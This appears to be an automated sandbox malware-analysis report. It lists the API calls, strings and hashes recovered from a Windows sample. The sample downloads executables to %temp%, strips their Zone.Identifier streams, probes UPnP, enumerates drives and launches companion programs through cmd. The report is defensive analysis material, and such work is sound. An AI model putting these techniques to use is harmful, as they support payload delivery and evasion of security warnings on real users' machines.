Instruction Fuzzy Hash: 923145B5900218AFDB10DBA0DC88FDA7778BB48701F40C5E9F609A3195DA75EAD4CF98

Function 00406F70 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00406F7E
GetModuleFileNameW.KERNEL32(00000000,00415DB8,00000104), ref: 00406F90

Part of subcall function 0040F1F0: CreateFileW.KERNEL32(00406FA0,80000000,00000001,00000000,00000003,00000000,00000000,00406FA0), ref: 0040F210
Part of subcall function 0040F1F0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F225
Part of subcall function 0040F1F0: CloseHandle.KERNEL32(000000FF), ref: 0040F232

ExitThread.KERNEL32 ref: 004070FA

Part of subcall function 004063E0: GetLogicalDrives.KERNEL32 ref: 004063E6
Part of subcall function 004063E0: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406434
Part of subcall function 004063E0: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406461
Part of subcall function 004063E0: RegCloseKey.ADVAPI32(?), ref: 0040647E

Sleep.KERNEL32(000007D0), ref: 004070ED

Part of subcall function 00406300: lstrcpyW.KERNEL32(?,?,?,?,00000019), ref: 00406353

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 0040702F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00407044
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 0040705F
wsprintfW.USER32 ref: 00407072
wsprintfW.USER32 ref: 00407092
wsprintfW.USER32 ref: 004070B5

Strings

(%dGB), xrefs: 00407066
Unnamed volume, xrefs: 00407086
%s%s, xrefs: 004070A9

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 36835f4b582c7264fa9310f82983a243ead37fe316eb445b52cb330bcd55ef35
Instruction ID: b797a4b926279b24144ff746e96c568fb56fd9e530b7e1178aba5a8e6206bca3
Opcode Fuzzy Hash: 36835f4b582c7264fa9310f82983a243ead37fe316eb445b52cb330bcd55ef35
Instruction Fuzzy Hash: 244174B1D00214BBEB64DB94DC45FEE7779BB48700F1085A6F20AB61D0DA785B84CF6A

Function 0040E190 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 117networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040E1AA
htons.WS2_32(0000076C), ref: 0040E1E0
inet_addr.WS2_32(239.255.255.250), ref: 0040E1EF
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040E20D

Part of subcall function 0040B430: htons.WS2_32(00000050), ref: 0040B45D
Part of subcall function 0040B430: socket.WS2_32(00000002,00000001,00000000), ref: 0040B47D
Part of subcall function 0040B430: connect.WS2_32(000000FF,?,00000010), ref: 0040B496
Part of subcall function 0040B430: getsockname.WS2_32(000000FF,?,00000010), ref: 0040B4C8

bind.WS2_32(000000FF,?,00000010), ref: 0040E243
lstrlenA.KERNEL32(X#A,00000000,?,00000010), ref: 0040E25C
sendto.WS2_32(000000FF,X#A,00000000), ref: 0040E26B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040E285

Part of subcall function 0040E310: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040E35E
Part of subcall function 0040E310: Sleep.KERNEL32(000003E8), ref: 0040E36E
Part of subcall function 0040E310: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040E38B
Part of subcall function 0040E310: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040E3A1
Part of subcall function 0040E310: StrChrA.SHLWAPI(?,0000000D), ref: 0040E3CE

Strings

239.255.255.250, xrefs: 0040E1EA
X#A, xrefs: 0040E258, 0040E25B

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250$X#A
API String ID: 726339449-2206458040
Opcode ID: 6911e90d37da8db62bd51864f6155ca9886bbc89aad1387f27fc75aef26ea545
Instruction ID: e8e0ae0e245dd7c097b927a75a8676c49a2f7ecfee9f68fb0cb72d84dadb0e27
Opcode Fuzzy Hash: 6911e90d37da8db62bd51864f6155ca9886bbc89aad1387f27fc75aef26ea545
Instruction Fuzzy Hash: 7F4119B4E00208ABDB04DFE4D989BEEBBB5EF48304F108569F505B7390E7B55A44CB59

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131networkCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040DBB0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040DBCE

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
listen.WS2_32(?,7FFFFFFF), ref: 0040212F
WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040DBE0: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040DC04
Part of subcall function 0040DBE0: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040DC5F
Part of subcall function 0040DBE0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040DC9C
Part of subcall function 0040DBE0: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040DCA7
Part of subcall function 0040DBE0: DuplicateHandle.KERNEL32(00000000), ref: 0040DCAE
Part of subcall function 0040DBE0: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040DCC2

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: 12e9ac71e1e64606d6e310d867efcd3aad974152cf34b1f89b4218bf20e906ed
Instruction ID: 7304e093e5df1f4af0f3941d52a0ba2ce6ba101da239ecb0b9d238ba0c2be26e
Opcode Fuzzy Hash: 12e9ac71e1e64606d6e310d867efcd3aad974152cf34b1f89b4218bf20e906ed
Instruction Fuzzy Hash: EE41B170640301ABD3209F74CC4AF5B77E4AF44720F108A2DF6A9EA2D4E7F4E545875A

Function 00406660 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 106comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040666B
CoCreateInstance.OLE32(00413030,00000000,00000001,00413010,00000008), ref: 00406683
wsprintfW.USER32 ref: 004066C4
wsprintfW.USER32 ref: 004066E5

Strings

%comspec%, xrefs: 004066EE
cl@, xrefs: 004066A0
/c start %s & start %s\rvldrv.exe & start %s\rvlcfg.exe, xrefs: 004066B8
/c start %s & start %s\rvlcfg.exe, xrefs: 004066D9

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: wsprintf$CreateInitializeInstance
String ID: %comspec%$/c start %s & start %s\rvlcfg.exe$/c start %s & start %s\rvldrv.exe & start %s\rvlcfg.exe$cl@
API String ID: 1147330536-497122036
Opcode ID: eee1a2fc8572b98f6c40a5fc3c9db374d26e8a3e47ee9b9990b59bb952fb1ff2
Instruction ID: e126a915917d584c7bd6e3cca15df18ca7e9be12ab45cc4692bb8e15b90f0fb7
Opcode Fuzzy Hash: eee1a2fc8572b98f6c40a5fc3c9db374d26e8a3e47ee9b9990b59bb952fb1ff2
Instruction Fuzzy Hash: 67411D75A40208AFC704DF98C885FDEB7B5AF88704F208199F515A72A5C675AE81CB54

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(?,00000000,?,0040154C,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 93d4027be7e49e3bb9003fc5ae654a5e9afe1d061a8d67f74f828f69ef3a14c4
Instruction ID: 62ed05d6da85abd953b38b2f92cd08377c0ec6205023cd889ce16e316194a11c
Opcode Fuzzy Hash: 93d4027be7e49e3bb9003fc5ae654a5e9afe1d061a8d67f74f828f69ef3a14c4
Instruction Fuzzy Hash: 1731F971A443016BE320DF749C46F9BB6E0AF48B10F40493DF659EB2D0D3B4D544879A

Function 0040D770 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040D782
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040D7A8
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040D7DF
GetTickCount.KERNEL32 ref: 0040D7F4
Sleep.KERNEL32(00000001), ref: 0040D814
GetTickCount.KERNEL32 ref: 0040D81A

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction ID: 457d80db37ae817004d1223b894239af033459ee6c7143085fc0b5fbd1cdb933
Opcode Fuzzy Hash: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction Fuzzy Hash: 13310A75D00209EFCB04DFA4D948AEEBBB0FF44315F10866AE821A7280D7749A54CB99

Function 0040B430 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040B45D

Part of subcall function 0040B3F0: inet_addr.WS2_32(0040B471), ref: 0040B3FA
Part of subcall function 0040B3F0: gethostbyname.WS2_32(?), ref: 0040B40D

socket.WS2_32(00000002,00000001,00000000), ref: 0040B47D
connect.WS2_32(000000FF,?,00000010), ref: 0040B496
getsockname.WS2_32(000000FF,?,00000010), ref: 0040B4C8

Strings

www.update.microsoft.com, xrefs: 0040B467

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 6e98f9c7e97e06aef12c993c0efbc8d88427d4f6baa20c341407c54d3fa54141
Instruction ID: af49af799945b34e8f77a8241ecd355db6f1f506d792f0fdd03f8566860bb8e6
Opcode Fuzzy Hash: 6e98f9c7e97e06aef12c993c0efbc8d88427d4f6baa20c341407c54d3fa54141
Instruction Fuzzy Hash: DB212CB4D102099BCB04DFE8D946AEEBBB4EF48300F104169E514F7390E7B45A44DBAA

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DFDD,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(?,00000000,?,0040154C,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,Function_00001100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: 553d10466bbec8e054a760f45873b700e7f933e75f0b3e1bb69a1e19c2fd66b5
Instruction ID: 36f5780ae761d5720ce2b15666c8ad773c7a5b56cb4710f169ddd2cda5c78557
Opcode Fuzzy Hash: 553d10466bbec8e054a760f45873b700e7f933e75f0b3e1bb69a1e19c2fd66b5
Instruction Fuzzy Hash: DE116674A417106BE3209F749C0AF877AE0AF04B54F50892DF659E72E1E3B49544879A

Function 0040C830 Relevance: 4.5, APIs: 3, Instructions: 26encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(004083EF,00000000,00000000,00000001,F0000040,?,?,0040C889,004083EF,00000004,?,?,0040C8BE,000000FF), ref: 0040C843
CryptGenRandom.ADVAPI32(004083EF,?,00000000,?,?,0040C889,004083EF,00000004,?,?,0040C8BE,000000FF), ref: 0040C859
CryptReleaseContext.ADVAPI32(004083EF,00000000,?,?,0040C889,004083EF,00000004,?,?,0040C8BE,000000FF), ref: 0040C865

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: a24c2434b3afb1955293fcca0a538135b7e24827869c87ceb3569772b55bea96
Instruction ID: f90ee11572ba5f49e3e1a660dc1e1657e7f5db47d76125bfba77a944767198f2
Opcode Fuzzy Hash: a24c2434b3afb1955293fcca0a538135b7e24827869c87ceb3569772b55bea96
Instruction Fuzzy Hash: 69E012B5650208FBDB14DFD1EC49FDA776CAB48B01F108554F709E7180DAB5EA4097A8

Function 0040DF20 Relevance: 3.0, APIs: 2, Instructions: 15timenativeCOMMON

Download Yara Rule

APIs

NtQuerySystemTime.NTDLL(0040BD65), ref: 0040DF2A
RtlTimeToSecondsSince1980.NTDLL(0040BD65,?), ref: 0040DF38

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Time$QuerySecondsSince1980System
String ID:
API String ID: 1987401769-0
Opcode ID: 5c98a04c039906c0b732b0f639c8761212275eae2c79c402d7dd6553d16f435e
Instruction ID: 284f4c0ca90a751934941b1d9bfeddc82ee070f17a0c71d7a2ad06256d95dcf5
Opcode Fuzzy Hash: 5c98a04c039906c0b732b0f639c8761212275eae2c79c402d7dd6553d16f435e
Instruction Fuzzy Hash: 71D0C779D4010DBBCB00DBE4E84DCDDB77CEB44201F0086D6ED1593150EAB06658CBD5

Function 00404090 Relevance: 1.7, Strings: 1, Instructions: 488COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 0040411B

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 758c8ddec5ebc3f2fbc60252ee954f274e779d6146799bd0d90b894ddaeb8b1a
Instruction ID: 5fd1260cd0c1bb1f0d43ca887b35fd9fe7aa376b80e30ba4f5f1b1723d8df557
Opcode Fuzzy Hash: 758c8ddec5ebc3f2fbc60252ee954f274e779d6146799bd0d90b894ddaeb8b1a
Instruction Fuzzy Hash: 2C124FF5D00109ABCF14DF98D985AEFB7B5BB98304F10816DE609B7380D739AA41CBA5

Function 0040FB45 Relevance: 1.7, APIs: 1, Instructions: 195nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 0040FBF6

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: 801e3abdb9ed3473d766d6bc3744bf4a8f04e52caf0f4b1d7f90672c87cc4716
Instruction ID: 340d7b290d5355f760e33cf283827fd55aa9a8eadb82a746881808a00d0f8de8
Opcode Fuzzy Hash: 801e3abdb9ed3473d766d6bc3744bf4a8f04e52caf0f4b1d7f90672c87cc4716
Instruction Fuzzy Hash: CD61D6316046098FDB39CB29D49166A73A5FF85754F25813BDC06E7AD0E338EC4ACA4C

Function 0040A890 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeaps.KERNEL32(000000FF,?), ref: 0040A8AC

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: HeapsProcess
String ID:
API String ID: 1420622215-0
Opcode ID: 1373c558315c2bb7b1b39264dd611deb399c5604e49ba0dd3c9b15e56f9cb6f7
Instruction ID: 4a2b5bc9ffc7c309cb72e1a35e8a8f61e1833fedd8d517872c2a42ed84d10103
Opcode Fuzzy Hash: 1373c558315c2bb7b1b39264dd611deb399c5604e49ba0dd3c9b15e56f9cb6f7
Instruction Fuzzy Hash: DD01DAF0904218CADB209B14D9887ADB774AB84304F1185EAD74977281C3781EDADF5E

Function 0040AEB0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 231c24adcade84eecc3356998d411f5491ca9746df8bd507928c4e2bbd5fa8a5
Instruction ID: 161e6bb5934f27057a9722b698e232d6f14762762655f0a3ce64c62cefac505d
Opcode Fuzzy Hash: 231c24adcade84eecc3356998d411f5491ca9746df8bd507928c4e2bbd5fa8a5
Instruction Fuzzy Hash: 0D127DB4D012199FCB48CF99D9919AEFBB2FF88304F24856AE415BB345D734AA01CF94

Function 0040F908 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 055ce3a16072e11c5b5b43c4deef216cb34a050bfe9534eea9d89275913ec06d
Instruction ID: 80201675dd9b1cda4480dbd7700016e3944d41601b7f9a5a171a0727e2a58fe8
Opcode Fuzzy Hash: 055ce3a16072e11c5b5b43c4deef216cb34a050bfe9534eea9d89275913ec06d
Instruction Fuzzy Hash: 3821D872900204ABCB24EF69C8819A7B7A5FF44350B05807AED559B285D734F919CBE0

Function 0040F560 Relevance: 75.5, APIs: 36, Strings: 7, Instructions: 231
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040F569
srand.MSVCRT ref: 0040F570
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040F590
strlen.NTDLL ref: 0040F59A
mbstowcs.NTDLL ref: 0040F5B1
rand.MSVCRT ref: 0040F5B9
rand.MSVCRT ref: 0040F5CD
wsprintfW.USER32 ref: 0040F5F4
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040F60A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F639
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F668
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040F69B
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040F6CC
CloseHandle.KERNEL32(000000FF), ref: 0040F6DB
wsprintfW.USER32 ref: 0040F6F4
DeleteFileW.KERNEL32(?), ref: 0040F704
Sleep.KERNEL32(000003E8), ref: 0040F70F
Sleep.KERNEL32(000007D0), ref: 0040F730
ExitProcess.KERNEL32 ref: 0040F758
DeleteFileW.KERNEL32(?), ref: 0040F76E
CloseHandle.KERNEL32(000000FF), ref: 0040F77B
InternetCloseHandle.WININET(00000000), ref: 0040F788
InternetCloseHandle.WININET(00000000), ref: 0040F795
Sleep.KERNEL32(000003E8), ref: 0040F7A0
rand.MSVCRT ref: 0040F7B5
Sleep.KERNEL32 ref: 0040F7C6
rand.MSVCRT ref: 0040F7CC
rand.MSVCRT ref: 0040F7E0
wsprintfW.USER32 ref: 0040F807
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040F824
wsprintfW.USER32 ref: 0040F844
DeleteFileW.KERNEL32(?), ref: 0040F854
Sleep.KERNEL32(000003E8), ref: 0040F85F
Sleep.KERNEL32(000007D0), ref: 0040F880
ExitProcess.KERNEL32 ref: 0040F8A7
DeleteFileW.KERNEL32(?), ref: 0040F8B6

Strings

%temp%, xrefs: 0040F58B
%s\%d%d.exe, xrefs: 0040F5E8
%s:Zone.Identifier, xrefs: 0040F838
.#v, xrefs: 0040F6DB, 0040F77B
%s\%d%d.exe, xrefs: 0040F7FB
%s:Zone.Identifier, xrefs: 0040F6E8
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040F605

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: File$Sleep$Internetrand$CloseDeleteHandlewsprintf$ExitOpenProcess$CountCreateDownloadEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36$.#v
API String ID: 1632876846-885412783
